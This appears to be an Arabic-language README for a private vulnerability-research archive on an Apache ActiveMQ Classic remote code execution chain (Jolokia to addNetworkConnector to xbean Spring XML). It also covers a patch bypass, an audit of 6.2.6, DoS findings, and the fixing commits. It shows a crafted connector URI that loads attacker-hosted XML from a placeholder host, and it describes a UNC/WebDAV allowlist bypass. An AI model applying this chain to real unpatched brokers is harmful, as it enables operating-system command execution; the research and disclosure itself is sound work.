Apache ActiveMQ Classic — أبحاث RCE

أرشيف بحث خاص لسلسلة تنفيذ التعليمات البرمجية عن بُعد في Apache ActiveMQ Classic عبر Jolokia → addNetworkConnector → xbean/Spring-XML (CVE-2026-34197 وتجاوز التصحيح الخاص بها CVE-2026-42588)، بالإضافة إلى تدقيق بحث آلي كامل للإصدار المُصلَّح 6.2.6 ومقارنة جنبًا إلى جنب مع تقرير التجاوز المنشور من Crowdfense.

تم تنفيذ جميع عمليات الاستغلال ضد وسطاء مخبريين محليين (Docker / استضافة ذاتية). تستخدم الحمولات مضيفي مهاجمين نائبين.

المحتويات

أشجار المصدر والتوزيعات الثنائية الخاصة بالمورّد المستخدمة أثناء المختبرات مستبعدة عمدًا (فهي من المنبع، وليست من عملنا).

الثغرة في سطر واحد

مستدعٍ مصادَق (غير مصادَق على 6.0.0–6.1.1 عبر CVE-2024-32114) لـ Jolokia يستدعي BrokerView.addNetworkConnector(uri) مع URI اكتشاف مُصاغ بعناية، حيث يجبر URI الداخلي vm://…?brokerConfig=xbean:<url> الوسيط على تحميل Spring XML يتحكم به المهاجم، الذي ينشئ فورًا bean من نوع ProcessBuilder قبل تحقق الوسيط ← تنفيذ أوامر نظام التشغيل.

POST /api/jolokia/  →  BrokerView.addNetworkConnector(String)
  →  static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
  →  VMTransportFactory dynamic broker creation  →  XBeanBrokerFactory
  →  ResourceXmlApplicationContext loads Spring XML  →  ProcessBuilder bean  →  RCE

النتائج

العنوان الرئيسي: ثلاث نتائج مُثبتة حيًا ببلوغ root/XSS; يضيف تدقيق 6.2.6 مجموعة أوسع مُتحققًا منها بالمصدر وخاضعة لتقييم عدائي، لكنها لم تُنفَّذ حيًا بعد. لا شيء من الإضافات في 6.2.6 هو RCE جديد غير مصادَق — المورّد أغلق تلك الأبواب; الخطر المتبقي انتقل إلى التفويض وترميز المخرجات.

سلسلة الاستغلال المُثبتة

جديد كليًا من تدقيق 6.2.6 (مُتحقق منه بالمصدر)

خارج النطاق — DoS (مفهرس، وليس رئيسيًا)

AIOOBE للترتيب العددي QoS في MQTT (QoS.values()[ordinal], عبر البروتوكولات، بدون إعداد) · OpenWireFormat.DEFAULT_MAX_FRAME_SIZE = Long.MAX_VALUE · NegativeArraySizeException للـ short المُوقَّع في فك ترميز OpenWire · مهمة مجدوَلة خالدة بسبب AMQ_SCHEDULED_REPEAT السالب.

مقارنة مع مقال Crowdfense

يتناول مقال تجاوز RCE في Apache ActiveMQ من Crowdfense نفس السلسلة (يصنّفونها تحت CVE-2026-34197; نحن نتعقّب التجاوز كـ CVE-2026-42588 مستقلة). يتقارب الحسابان على دفاع من ثلاث طبقات; الاختلاف الوحيد في الطبقة 2.

الفجوة الوحيدة: خدعة الطبقة 2 (ترميز النسبة المئوية + UNC/WebDAV) تحقق تسليمًا عن بُعد بالكامل بدون بدائية كتابة محلية. عيب المُصنِّف الذي تستغله (activemq-spring/Utils.java:123-129, فحص startsWith("file://") خام على السلسلة غير المُفكَّكة) موجود في مصدرنا تمامًا — لكن النصف البعيد خاص بـ Windows فقط (لينكس يعامل //host/share كمسار محلي)، ومختبرنا كان على لينكس، لذا لم يكن قابلاً للاختبار هناك. إنه ميت على 6.2.6 على أي حال (بوابة مخططات VMTransportFactory ترفض xbean قبل تشغيل Utils).

متابعة: تشغيل 5.19.6 على Windows (أو أي إصدار قبل 5.19.7/6.2.6) + مستمع SMB/WebDAV سيسمح لنا بإظهار تجاوز قائمة السماح عن بُعد بالكامل — الإمكانية الوحيدة التي يمتلكها المقال ولم يُظهرها عملنا.

الإصلاح (ActiveMQ 6.2.6)

ثلاث عمليات commit تُغلق السلسلة: c1b44af11 (التحقق من URIs المركّبة بدون أقواس — استدعاء parseComposite دائمًا + تكرار)، c2fc7a1d6 (حظر XBeanBrokerFactory افتراضيًا عبر قائمة المخططات المسموحة في VMTransportFactory)، و be8415f24 (تحصين إعدادات العينة: Jolokia إلى loopback، قائمة منع عمليات تتضمن addNetworkConnector).